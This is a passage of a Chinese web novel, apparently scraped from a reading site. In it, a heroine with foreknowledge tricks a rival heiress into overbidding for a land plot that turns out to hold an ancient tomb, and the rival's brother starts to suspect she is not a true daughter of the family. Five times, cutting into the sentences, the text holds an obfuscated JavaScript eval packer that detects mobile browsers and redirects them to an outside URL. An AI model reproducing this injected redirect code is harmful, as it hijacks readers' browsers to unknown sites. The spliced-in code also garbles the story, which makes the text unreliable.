笑闹过后,苏文赫将手中的请柬放在桌上,正色道:“纪家送来的。说是纪家大小姐纪梦瑶亲自操办的慈善土地拍卖预热酒会,特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771324|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意点名邀请你和凝凝参加。 “纪梦瑶?凝凝拿起请柬,看着上面那个烫金的“纪字,微微挑眉。 傅清寒也眉头一挑,就是这个女人带着律师团去保释白石的。 “看来,这是鸿门宴啊。凝凝嘴角勾起一抹玩味的笑。 “这个纪梦瑶,最近动静不小。苏文赫在一旁补充道,“不仅大张旗鼓地搞这个酒会,还放出口风,说这次拍卖会上的A地块,纪家势在必得。甚至还在名媛圈里明里暗里地贬低你,说你只是个会点医术的乡下丫头,根本不懂什么叫真正的豪门底蕴。 “乡下丫头?陈瑶听到这四个字,立刻就像是猫被踩了尾巴,“她放屁!看我不撕烂她的嘴! 傅清寒也蹙眉,剥葡萄的手一顿,眼中闪过一丝凛冽的寒光。“不想去就不去,我们在港市也不是什么人的面子都要给。一个被宠坏的大小姐,不值得你费心。 凝凝张嘴吃下葡萄,却轻轻摇了摇头。 “不,我必须去。 “为了那个‘鸾凤佩’?傅清寒动作一顿,何等敏锐,瞬间就猜到了她的心思。 “没错。凝凝抽过一张纸巾,擦了擦嘴角,神色变得认真起来,“白石在警局里嘴硬得很,一会儿说丢了,一会儿说磨成粉吃了,摆明了是在耍无赖。她在等,等外面的接应,或者是等一个交易的机会。 她指了指桌上的请柬,眼中闪烁着睿智的光芒: “这个纪梦瑶,平时八竿子打不着的大小姐,突然在这个节骨眼上,不惜动用家族律师团去保释一个**嫌犯,这本身就不正常。我怀疑,纪梦瑶和白石之间,一定达成了某种交易。 苏文赫眼睛一亮,立刻反应过来:“你是说,纪梦瑶可能是白石留下的后手?或者,她知道玉佩在哪儿? “很有可能。凝凝站起身,走到露台边,看着远处维多利亚港的景色,海风吹起她的发丝,“既然白石不肯开口,那我们就换个方向,从这个纪大小姐身上找突破口。 “这次酒会,她既然想给我设鸿门宴,想踩着我上位。那我就成全她,给她这个机会。 凝凝转过身,看向傅清寒,嘴角勾起一抹自信而狡黠的弧度: “只要她有所求,就会有破绽。作为医生,我最擅长的,就是‘望闻问切’。只要让我见到她,我就能知道,她这葫芦里,到底卖的什么药。 第169章 地产拍会遇到纪家兄妹 傅清寒看着她那副胸有成竹的模样,虽然心疼她操劳,但也知道这块玉佩对她、对孩子的重要性。他无奈地叹了口气,点了点头:“好,依你。” 既然确定了要去,那就得看看这场“鸿门宴”到底摆的是什么龙门阵。 苏文赫见状,适时地将手中的资料递了过去,神色认真了几分:“既然要去,那有些情况还得先了解一下。这个纪梦瑶这次搞这么大阵仗,其实是为了给纪家造势。” 凝凝目光落在了苏文赫的地图上。 “文赫,你刚才说,这块地在皇后大道中?” “没错。”苏文赫指着地图上那块被标红的、位于港岛最繁华地段的区域,详细解释道,“纪家这次对皇后大道中这块地势在必得,想在那里建一座全港最大的奢侈品购物中心,以此作为纪家未来十年的新地标。” 说到这里,他看向凝凝,神色认真了几分:“凝凝,其实这跟我们也有些关系。‘凝悦’现在虽然名声打出去了,但主要还是靠线上和高端定制。要想在港市这块寸土寸金的地方彻底站稳脚跟,除了口碑,一个位于顶级商圈、能撑起门面的旗舰形象店是必不可少的。” “我本来也打算参与竞拍,即便拿不下整块地,也要想办法在里面拿下最好的几个铺位。” 凝凝若有所思地点了点头:“嗯,一个顶级的旗舰店,确实能迅速提升品牌形象。尤其是在港市这种讲究‘排面’的地方。” “不过……”她的视线从繁华的皇后大道移开,最终落在了那个被所有人忽视的、位于地图边缘的“西贡湾区地块”上。 那是一片位于西贡的荒滩,看起来位置偏僻,交通不便,甚至还有大片的滩涂。 “那块地呢?”凝凝伸出纤细的手指,点了点那个毫不起眼的位置。 苏文赫看了一眼,不在意地说道:“哦,那是西贡湾区地块,就是个陪跑的。位置偏就不说了,地质还是滩涂,开发成本极高。而且坊间一直有传闻,说政府打算把那里划为红树林生态保护区,严禁商业开发。所以这块地这次是流拍大热门,根本没人看好,起拍价低得可怜,估计连五千万都不到。” “没人看好?流拍大热门?” 凝凝看着那块“烂地”,嘴角的笑意却越来越深,眼中闪 烁着一种让人看不透的光芒。 她记得清清楚楚,在原书的剧情里,也提到了这场拍卖会,虽然只是背景故事,但她清楚记得这次是港市地产界的转折点! 那块被捧上天的黄金地皮,在纪家拍下后不到一个月,就在动工时挖出了一座规模宏大的宋代古墓! 那是重大考古发现,政府直接勒令无限期停工保护!那三十亿的资金,直接变成了打水漂的死钱,甚至还要倒贴巨额的文物保护费!纪家因为这块地,元气大伤,流动资金链差点断裂。 而那块被视为垃圾的西贡烂地…… 凝凝的眼中飞快闪过一丝光。 就在拍卖会结束后的一周,港督府就会突然发布重磅新闻——港市将与内地合作,在西贡建立全新的深水港和金融特区! 那片“烂泥地”,一夜之间将会变成寸土寸金的“流金地”!其价值翻了整整一百倍不止! “清寒,”她转头看向傅清寒,声音里带着一丝压抑不住的兴奋和期待,“我们去。不仅要去,还要给纪家,送一份‘大礼’。” 傅清寒看着她那副生动鲜活、准备搞事情的小模样,虽然不知道她为什么对那块“烂地”感兴趣,但他对凝凝有着绝对的信任。 他抽过纸巾,慢条斯理地擦了擦手,然后伸手揉了揉她的头发,声音低沉而温柔: “好。你想怎么玩,我都陪你。” “既然她纪梦瑶想要那块‘宝地’,那我们就帮帮她,让她拿得更‘稳’一点。” 凝凝眨了眨眼:“不仅要让她拿到,还要让她……付出这辈子都忘不了的代价。” 酒会现场,灯火辉煌,衣香鬓影。 港市最顶级的半岛酒店宴会厅,今晚被纪家包场,极尽奢华之能事。巨大的水晶吊灯洒下璀璨的光芒,名贵的鲜花装饰随处可见,就连空气中,都弥漫着昂贵香槟和顶级香水的味道。 纪梦瑶作为今晚的女主角,一袭大红色的露背晚礼服,如同烈火般耀眼。她脸上的妆容精致到了极点,完美地遮盖了那一点点瑕疵,在灯光下显得美艳不可方物。 她挽着纪家大少爷纪云深的手臂,穿梭在宾客之间,享受着周围投来的艳羡、讨好和惊艳的目光。 “梦瑶,你今天真美。” “ 纪小姐不愧是港市第一名媛这气场无人能及啊。” “听说纪家这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771325|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次对A地块势在必得看来纪氏集团又要更上一层楼了!” 听着这些恭维纪梦瑶嘴角的笑容愈发灿烂心中那份被白石激起的恐慌暂时被这种处于云端的虚荣感给压了下去。 就在这时宴会厅的大门再次被推开。 一阵不小的骚动从门口传来。 所有人的目光都不由自主地看了过去。 只见傅清寒一身剪裁得体的黑色西装身姿挺拔如松 而他身边的白凝凝更是惊艳了全场。 她没有像纪梦瑶那样浓妆艳抹而是穿了一袭淡紫色的中式改良旗袍。那旗袍的布料泛着柔和的珠光上面绣着精致的兰花暗纹既典雅又不失高贵。她长发挽起只用一根白玉簪子固定露出了修长优美的天鹅颈。 她站在那里就像是一株空谷幽兰清冷、淡雅却有着一种让人无法忽视的、从骨子里透出来的从容与贵气。与纪梦瑶那种带有侵略性的美艳不同凝凝的美是润物细无声的是让人看一眼就觉得心旷神怡的。 “那是谁?好漂亮啊!” “好像是‘凝悦’的那个女老板?听说是个神医?” “旁边那个男人好帅!气场好强!是哪家的公子?” 窃窃私语声赞美声甚至还有不少男人眼中露出的惊艳与痴迷都像是一根根刺狠狠地扎进了纪梦瑶的心里! 她脸上的笑容瞬间僵硬手中的香槟杯差点被捏碎! 白凝凝! 这个**!她怎么敢?! 她纪梦瑶才是今晚的主角!她花了那么多心思甚至动用了邪术才维持住的美貌竟然在白凝凝出现的那一刻就被轻易地比了下去! 还有那个男人…… 纪梦瑶看着傅清寒小心翼翼护着凝凝的模样眼中的嫉妒几乎要化为实质的毒汁! 那个男人本该是属于她的!只有她这样的绝色美人才配得上那样完美的男人!白凝凝那个乡下丫头凭什么?! “梦瑶怎么了?”身边的纪云深察觉到了妹妹的异样顺着她的目光看去也看到了刚进门的两人。 当他的目光落在凝凝那张清丽脱俗的脸上时心脏猛地一跳!一股莫名的、强烈到让他自己都感到心悸的熟悉感瞬间攫住了他! 不仅仅是容貌更是那种神态那种在喧嚣中遗世独立的清冷气质……像……像极了一个人但他却一时想不出来。 怎么可能? 第170章 凝凝帮她抬价 纪云深立刻掐灭了自己脑中那个荒诞的念头。但那股不受控制的冲动,却驱使着他不由自主地想上前一步,想看得更清楚一些,想确认一下那是否只是自己的错觉。 “大哥!”纪梦瑶一把拉住他,声音有些尖锐,打断了他的思绪,“那个女人就是白凝凝!就是她害得白石大师入狱,还一直跟我们纪家作对!” 她没注意到大哥听到白石颦蹙起来的眉头,深吸一口气,强行压下心中的嫉妒和慌乱,脸上重新挂上了那副高傲的假笑: “我去会会她。” 说完,她松开纪云深,端着酒杯,带着一种仿佛要去上战场的斗志,摇曳生姿地朝着凝凝走了过去。 “哎呀,这不是**吗?” 她走到凝凝面前,故意用一种夸张的、足以让周围人都听到的音量说道:“真没想到,您这样日理万机的‘神医’,竟然也会赏脸来参加我们这种充满铜臭味的商业酒会啊?” 凝凝看着眼前这个满身珠光宝气、眼神却充满敌意的女人,神色淡淡:“纪小姐盛情相邀,我怎能不给面子?” “呵呵,**真是太客气了。”纪梦瑶掩嘴轻笑,眼中闪过一丝精光,“我可是听说,**不仅医术高明,能起死回生,在做生意上也是个奇才呢!‘凝悦’在您的带领下,可是风生水起啊!” 周围的宾客听到这话,都纷纷附和,一时间,凝凝仿佛成了全场的焦点。 这就是纪梦瑶的策略——捧杀。 先把她捧得高高的,让她在所有人面前都下不来台,然后再狠狠地把她摔下来! 果然,下一秒,纪梦瑶话锋一转,眼神变得挑衅而犀利: “不过,我可是听说,**不仅医术高明,还想进军地产界呢?怎么,是想把‘凝悦’的旗舰店,直接开到未来港市最中心的地标建筑里吗?那可真是好大的野心啊!” 她用一种嘲讽的语气,将凝凝的“商业布局”故意歪曲成“不自量力”的妄想,引得周围一阵轻笑。 “纪小姐说笑了,那是你们纪家看中的地王,我这种小本生意,哪里敢跟纪家争?”凝凝微微挑眉,故作惊讶,“我们只是想为‘凝悦’找一个配得上它的家而已。” “哎,**这就谦虚了。”纪梦瑶步步紧逼, 根本不给她退缩的机会,“既然来了,不露两手怎么行?不如……我们打个赌如何? “赌什么? “就赌谁能拿下这块地!纪梦瑶抬起下巴,傲慢地看着凝凝,“如果我赢了,就请**当众承认,你的眼光不如我,并且……把‘凝悦’在港市的所有门店都关了,滚回你的内地去! 此言一出,全场哗然! 这赌注也太大了!这哪里是打赌,分明是要赶尽杀绝啊! 所有人都看向凝凝,等着看她怎么应对。在他们看来,这个内地来的小姑娘,肯定会被吓得不敢接招。 然而,让他们意外的是,凝凝非但没有生气,反而像是被激怒了一般,脸上露出了一丝“年少轻狂的怒意。 她冷笑一声,上前一步,直视着纪梦瑶的眼睛,声音清脆有力: “好!既然纪小姐这么有兴致,那我就陪你玩玩!不过,既然要赌,那就赌大一点! “如果我输了,‘凝悦’立刻退出港市,永不踏入半步! “但如果你输了……凝凝顿了顿,目光扫过纪梦瑶那张妆容精致的脸,一字一句地说道: “我要你纪梦瑶,当着全港市媒体的面,向我鞠躬道歉,并承认你自己——有眼无珠! “你!纪梦瑶被她这番话气得脸色发白,但随即,心中却是一阵狂喜! 上钩了! 这个蠢女人,竟然真的接了! 她以为自己是谁?竟敢跟财大气粗的纪家比财力?简直是不自量力! “好!一言为定!纪梦瑶生怕她反悔,立刻大声答应下来,“在场的所有人都可以作证! 她看着凝凝,仿佛已经看到了凝凝灰溜溜滚出港市的惨状,心中充满了复仇的快感。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771326|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她转身的那一刻,她并没有看到—— 凝凝眼底那一闪而过的、如同狐狸般狡黠的光芒。 傅清寒站在凝凝身后,看着自己妻子那副“入戏太深的模样,忍不住微微勾起了嘴角。他在她耳边,用只有两个人能听到的声音,低语道: “夫人这招‘请君入瓮’,玩得真溜。 凝凝侧过头,对他俏皮地眨了眨眼:“那是自然。既然她想演戏,那我就陪她演个够。只希望到时候,她别 哭得太难看。 很快,拍卖会正式开始。 主持人热情洋溢的介绍后,重头戏A地块终于登场。 起拍价:五千万! “六千万! 价格一路飙升,很快就突破了一亿大关。参与竞拍的,除了纪家,还有几家颇具实力的地产商。 凝凝一直安静地坐着,直到价格喊道一亿两千万的时候,她终于举起了手中的牌子。 “两亿! 清脆的声音,让全场安静了一瞬。 纪梦瑶坐在第一排,听到这个声音,猛地回头,恶狠狠地瞪了凝凝一眼,随即立刻举牌:三亿! “四亿!凝凝毫不犹豫地跟进。 “五亿!纪梦瑶咬牙切齿。 两人像是杠上了,你来我往,互不相让,价格像坐火箭一样蹭蹭往上涨,很快就突破了六亿!这已经远远超出了这块地的市场估值! 周围的宾客都看傻了。这哪里是竞拍,这简直是在烧钱啊! 纪云深坐在纪梦瑶身边,眉头越皱越紧。他虽然想拿下这块地,但这个价格实在太离谱了。他拉了拉妹妹的袖子,低声劝道:“梦瑶,冷静点!这个价格已经太高了,不划算! “大哥!你别管! 她绝不能输!绝对不能在那个**面前丢脸! 而且,只要拿下这块地,完成了白石的任务,她就能拥有永久的美貌,就能得到傅清寒!这点钱算什么?! “十亿!她尖叫着喊出了这个天价! 第171章 女财神和败犬 全场一片哗然! 所有人都看向凝凝,想看她还会不会跟。 凝凝坐在那里,手里拿着牌子,似乎在犹豫。她的眉头紧锁,脸上露出了纠结和不甘,仿佛在做着极其艰难的决定。 纪梦瑶看着她这副模样,心中狂笑不止! 怕了吧?没钱了吧? 一个内地来的乡下人,还想跟我斗?! 就在她以为自己胜券在握的时候,凝凝突然深吸一口气,像是下定了某种决心,再次举起了牌子,声音有些颤抖: “十二亿!” “轰——!” 全场沸腾了! 十二亿!内地来的跟了! 这简直是疯了! 简直是把纪家大小姐的脸踩在地上! 纪梦瑶也被这个价格吓了一跳,但看到凝凝那副“**之末”的样子,她认定对方是在虚张声势! 再加上周围人一副看笑话的眼神! 她不能输!就在这最后关头! 她猛地站起身,不顾大哥的阻拦,用尽全身力气,喊出了那个让所有人都窒息的数字: “十三亿!!!” “我出十三亿!这块地是我的!谁也别想抢走!” 喊完这句话,她挑衅地看向凝凝,眼中满是疯狂和得意:跟啊!你再跟啊!我看你还有多少钱! 然而,这一次,凝凝没有再举牌。 她像是泄了气的皮球一样,颓然地靠在椅子上,手中的牌子滑落在地,“……我放弃。” 主持人激动得声音都破了音:“十三亿一次!十三亿两次!十三亿三次!成交!恭喜纪小姐!拍得A地块!” “耶!”纪梦瑶激动得跳了起来,像只斗胜的公鸡,傲慢地环视全场,最后将目光定格在凝凝身上,做了一个侮辱性极强的手势。 赢了!她赢了! 白凝凝完了! 自己就等着她灰溜溜,如同败家之犬一样滚出港市的那一天! 哈哈哈哈! 然而,沉浸在狂喜中的她,没有注意到自己哥哥忧虑的目光,也没有看到—— 那个看似“绝望”的凝凝,在低下头的瞬间,嘴角勾起的那一抹冰冷而又嘲讽的笑容。 蠢货!笑吧! 有你哭的 时候! 接下来的流程变得索然无味。几块不重要的小地皮被随意拍走。 直到最后一块——那个位于西贡的、无人问津的B地块。 起拍价:五千万。 全场鸦雀无声。没人对这种烂泥地感兴趣。 就在主持人准备宣布流拍的时候,凝凝懒洋洋地举起了牌子: “五千万。 没人跟价。 主持人甚至都没怎么等待,就直接落了锤:“恭喜**!五千万拍得! “哈哈哈!纪梦瑶见状,更是笑得前仰后合,当众嘲讽道,“哎哟,**这是输红了眼,买块烂泥地回去种菜吗?真是笑**了!看来‘凝悦’果然是要关门大吉了! 全场也是一片哄笑,看着凝凝的眼神充满了同情和嘲弄。 凝凝没有理会这些嘲笑。她站起身,理了理旗袍的下摆,挽着傅清寒的手臂,在所有人鄙夷的目光中,从容离场。 走出酒店大门,一阵夜风吹来。 凝凝抬头看了一眼漆黑的夜空,淡淡地说道: “起风了。 “纪家的天,要变了。 可就连凝凝也没想到天变得如此快! 次日清晨,港市。 整个城市还没完全从昨夜那场惊心动魄的“地王争夺战中苏醒,就被两个重磅新闻炸得晕头转向! 头版头条: 【惊天爆雷!新晋地王竟是千年古墓!政府勒令无限期停工!】 新闻配图是一张触目惊心的照片:在昨夜那块刚刚被纪家以十三亿天价拍下的皇后大道中地块工地上,工人们在进行初步勘探时,意外挖出了几块带有精美纹饰的青砖。经紧急赶来的考古专家鉴定,这竟是一座规模宏大的宋代皇室古墓! 根据港市文物保**,凡是发现重要古迹的土地,必须立即停止一切商业开发,无条件配合考古发掘,且发掘期……上不封顶! 这就意味着,纪家那十三亿真金白银,连个水漂都没打起来,直接变成了填进无底洞的死钱!而且,因为古墓的特殊性,纪家作为土地所有者,甚至还要倒贴巨额的文物保护费和安保费! 这简直就是一场豪门惨剧! 而就在全港市民还在为纪家的倒霉而唏嘘不已 时第二条新闻如同一枚核弹再次引爆了**! 财经版头条: 【重磅利好!港市与内地达成深度合作西贡湾区将被划为全新金融特区及深水港!】 新闻里港督府发言人一脸喜色地宣布了这个酝酿已久的宏大计划。西贡那个曾经被所有人视为“烂泥地”的偏远角落一夜之间身价暴涨百倍! 而昨晚以区区五千万“白菜价”捡漏拍下那块地的神秘买家——白凝凝瞬间成了全港市最令人眼红的“锦鲤”! 五千万变十亿!翻了不知道几番这哪里是买地?这简直是在印钞票! 不!就连印钞票都没这么快! 这简直就是财神爷降世! …… 纪家大宅书房内。 “啪!” 一只名贵的明代青花瓷瓶被狠狠摔在地上瞬间粉碎! 纪云深脸色铁青双眼赤红胸膛剧烈起伏。他手里紧紧攥着那份刚刚送来的报纸力道大得几乎要将纸张捏碎! “蠢货!蠢货!!!”他歇斯底里地咆哮着一向沉稳儒雅的形象荡然无存。 十三亿啊!那是纪家账面上所有的流动资金!为了这次拍卖 这不仅仅是亏钱的问题这是要断了纪家的资金链是要让纪氏集团元气大伤啊! 纪梦瑶瑟缩在角落里面无血色眼泪不停地往下掉却不仅仅是因为恐惧。 更让她崩溃的是电视上正在滚动播放的新闻画面。 画面里白凝凝一身干练的职业装站在那块刚刚被划为“金融特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771327|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区”的西贡地块上正在接受无数记者的簇拥和采访。 记者们的问题充满了谄媚和崇拜: “**请问您是如何独具慧眼看中这块宝地的?” “听说您只用了五千万就拿下了这块未来价值十亿的地王这简直是商业奇迹!” “**现在全港市民都称您为‘女财神’对此您有什么想说的吗?” 电视里的白凝凝笑容从容淡定那种仿佛将全世界都掌控在手中的自信和耀眼像一把把尖刀狠狠地扎进了纪梦瑶的心窝! 十亿!女财 神!商业奇迹! 这些原本应该属于她的荣耀此刻却全部加冕在了那个她最恨的女人头上! 而她呢? 她成了那个花了十三亿买了一座坟墓的笑话!成了全港市民茶余饭后的谈资!成了败光家产的败家女! “啊——!!!” 纪梦瑶终于忍不住了她捂着耳朵发出了一声凄厉的尖叫!那声音里充满了极致的嫉妒、不甘和疯狂! “凭什么?!凭什么又是她赢?!那是我的!那些荣耀应该是我的!” 她冲过去一把抓起茶几上的遥控器狠狠地砸向电视屏幕! “我不信!我不信她运气这么好!一定是她算计我!一定是她早就知道内幕!那个**!我要杀了她!” “够了!”纪云深看着妹妹这副疯婆子一样的丑态眼中的失望彻底化为了厌恶。 他走过去一把抓住纪梦瑶的手腕将她狠狠地甩在沙发上! “你还嫌不够丢人吗?!”他指着纪梦瑶的鼻子声音冰冷刺骨“你口口声声说她是乡下丫头说她不懂豪门底蕴!可结果呢?人家用五千万就把你玩得团团转!把你这个所谓的豪门千金踩在脚底下摩擦!” “纪梦瑶你看看你自己现在的样子!除了撒泼打滚除了嫉妒你还会什么?!” 纪云深的话字字诛心!像一盆冷水浇醒了她的疯狂。 “大哥……我……我也不知道为什么会这样……”纪梦瑶站在角落里面无人色浑身颤抖。 “你不知道?!”纪云深猛地转过身指着她的鼻子声音里充满了滔天的怒火和失望“昨晚是谁像个疯子一样非要跟人家斗气?是谁不顾我的阻拦非要喊出那个天价?!是谁信誓旦旦地说这是块宝地?!” “是你!是你这个成事不足败事有余的蠢货!” “那投资本来就有风险。只是资金链断了我们家又不是没钱。”纪梦瑶哭得梨花带雨试图狡辩“再说我……我是为了给爸爸冲喜……我是为了纪家……” “你!”纪云深气得浑身发抖“冲喜?!你这是要送终!给全家送终!”他指着门口“给我滚出去!从今天起冻结你所有的信用卡!没我的允许不许踏出家门半步!” 纪梦瑶捂着脸 然而打击还没结束。 就在纪家焦头烂额之际更坏的消息传来了。 原本就重病在床的纪父纪宏图在得知这纪梦瑶拿公司几乎全部流动资金拍了一块没用的地后一口气没上来气急攻心当场吐血昏迷生命垂危! 第172章 纪云深的怀疑 仁爱私立医院,急救室外。 走廊里弥漫着浓重的消毒水味和令人窒息的紧张气氛。 纪母林慧珍坐在长椅上,不停地用丝帕抹着眼泪,嘴里反复念叨着“老天保佑”。 纪云深一脸疲惫地靠在冰冷的墙壁上,眼神空洞,脑子里一片混乱。拍卖会的巨额亏损,董事会的压力,父亲的突然病危……所有的一切都像一座座大山,压得他喘不过气来。 而纪梦瑶,则像一个做错了事的孩子,缩在离他们最远的角落里,低着头,死死地绞着手指,大气都不敢出一下。 她现在是“带罪之身”。 因为她,纪家几乎损失了所有的流动资金。她不敢哭,不敢说话,甚至不敢抬头去看大哥那双写满了失望和怒火的眼睛,生怕他会再次咆哮着让她“滚出去”。 这时,急救室的门“吱呀”一声开了。 主治医生摘下口罩,神色焦急地快步走出来:“病人的情况非常危急!胃部大出血引发多器官衰竭,必须马上进行输血和手术!但是……” 医生顿了顿,面露难色:“病人的血型是极其罕见的RH阴性血,也就是俗称的‘熊猫血’。我们要从血库调血至少需要两个小时,病人根本等不及了!请问家属里有没有同血型的?我们需要马上进行现场输血!” “熊猫血?!” 纪母和纪云深都愣住了。他们虽然知道老爷子血型特殊,但也没想到会特殊到这个份上,别说血库了,就是整个港市去找,也不一定能及时找到! “我是A型阳性,不行。”纪云深立刻说道,他那双布满血丝的眼睛里,燃起了最后的、唯一的希望。他猛地转过头,像一头被逼入绝境的困兽,死死地盯住了角落里的纪梦瑶! “梦瑶!”他的声音沙哑而急切,“爸是O型阴性,妈是A型阳性,只有你的血型可能随爸!快去抽血试试!现在只有你有可能救爸的命!” 所有人的目光,瞬间都像聚光灯一样,死死地打在了纪梦瑶身上。 纪梦瑶整个人都僵住了!她的脸“刷”的一下变得惨白如纸,毫无血色!她感觉自己的心脏仿佛被一只无形的大手狠狠攥住,连呼吸都变得困难起来! 她根本就不是纪家的亲生女儿!她的血型是普普通通的B型阳性 ! 如果现在去验血,那她冒牌货的身份岂不是就要当场曝光了?! “梦瑶?你还愣着干什么?快去啊!纪母见她不动,急得冲过去抓住她的胳膊,声音里带着哭腔,“你爸快不行了!你快去救你爸啊! “我……我……纪梦瑶浑身一颤,双腿发软,几乎要站不住。她不敢抬头看大哥那仿佛能将她看穿的眼神,只能低着头,死死地绞着衣角,指关节都泛白了。 她不能去! 一旦验血,她假千金的身份就彻底曝光了!到时候,别说美貌和傅清寒,她现在拥有的一切——豪宅、名车、身份、地位,统统都会化为乌有!她会从云端跌入泥潭! 可是,她也不敢说不去! 她刚刚才犯下大错,如果在这个人命关天的时刻,她再敢说一个“不字,大哥绝对会当场把她撕了! 怎么办?!怎么办?! 冷汗,顺着她的额角滑落。 她的大脑飞速运转,试图寻找一个完美的借口。 她抬起头,脸上挤出一个比哭还难看的、虚弱至极的笑容,声音颤抖着,开始顾左右而言他: “妈……大哥……我……我当然愿意救爸爸……可是……可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771328|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我……我有点怕疼……而且……而且我今天早上起来就头晕,我怕……我怕我的血不健康,会不会…… 这个借口,在人命关天的时刻,显得那么懦弱、那么可笑! “怕疼?!纪云深像是听到了天大的笑话,他一步步地走到纪梦瑶面前,那高大的身影带着无尽的压迫感。他居高临下地看着她,眼中的最后一丝希望,正在迅速地熄灭。 “纪梦瑶,他的声音冰冷刺骨,不带一丝感情,“你知不知道,因为你的愚蠢,纪家亏了十三个亿,现在正面临着创立以来最大的资金危机!你知不知道,爸就是被你活活气得躺在里面的!现在,让你去抽一管血,你跟我说你怕疼?! “不!不是的!大哥! “够了! 纪云深终于失去了所有的耐心!他猛地一拳,狠狠地砸在了旁边的墙上,发出“咚的一声巨响! 他指着纪梦瑶,那双赤红的眼睛里,充满了滔天的怒火和失望! “纪梦瑶!你是不是觉得我们所有人都是傻子?!他嘶吼着,“亏了十几个亿,你不知悔改!现在爸躺在里面生死未卜,你还在这里找各种可笑的借口推三阻四!你的心到底是什么做的?!石头吗?! 纪云深越说越气,胸膛剧烈起伏,那双赤红的眼睛里,失望彻底变成了无法遏制的烦躁和…怀疑。 太反常了! 一个从小被全家捧在手心里长大的女儿,在父亲命悬一线时,第一反应不是救人,而是找各种借口推脱?哪怕她再自私,再不懂事,这都不符合常理! 除非…… 除非她有绝对不能献血的理由! 纪云深死死地盯着她那张苍白得没有一丝血色的脸,一个荒诞的念头,不受控制地从他脑海深处冒了出来! 第173章 你想去,我陪你去 “大哥,我真的不是故意的,我……我头晕……”纪梦瑶被他看得心虚到了极点,哭着向母亲求助,“妈……你跟大哥说说,我……” “够了!” 纪母林慧珍却在此时,猛地站起身,一把将还在狡辩的纪梦瑶护在了自己身后。她这些天也因为家里的变故心力交瘁,此刻所有的情绪都爆发了出来。她红着眼,对着纪云深怒斥道: “你冲她吼什么?!梦瑶身体不好你又不是不知道!她是你唯一的妹妹!你爸已经躺在里面了,你是不是想把梦瑶也逼死?!” 她从小就偏爱这个唯一的女儿,把她宠上了天。在她看来,女儿的任何理由都是成立的。 “妈!现在是说这个的时候吗?!”纪云深气得浑身发抖。 看着眼前一个自私推脱、一个盲目护短,父亲还在病房里生死未卜,纪云深疲惫不堪的心几乎快要窒息过去。 就在这时,他的脑海里,忽然闪过一个清冷、沉静的身影。 ——白凝凝! 他想起了前段时间,霍家老爷子同样是病危,中西医束手无策,最后就是被这位**给救了回来! 对!还有她! 这就像是黑暗中的最后一根救命稻草! 纪云深再也顾不上跟母亲和妹妹争执,他立刻冲到一旁,让助理联系上了白凝凝。 “**……是我,纪云深。”他的声音,第一次带上了请求的意味,“我父亲……他快不行了。我知道这个请求很唐突,但我求求你,求你来救救他!只要你能救回他,我纪云深,我们整个纪家,欠你一个天大的人情!” …… 半山安全屋别墅,客厅。 挂断电话,凝凝的眉头微微蹙起。 “纪云深?”傅清寒听到这个名字,脸色瞬间就沉了下来,眼中闪过一丝不悦,“他父亲病危,找你干什么?港市那么多名医,轮得到你一个孕妇去救场?” “就是!纪梦瑶昨天刚想置我们于死地,今天就让我们去救她老子?这算盘打得也太精了吧?”陈瑶在一旁愤愤不平地说道,“凝凝姐,别理他们!让他们自作自受!” 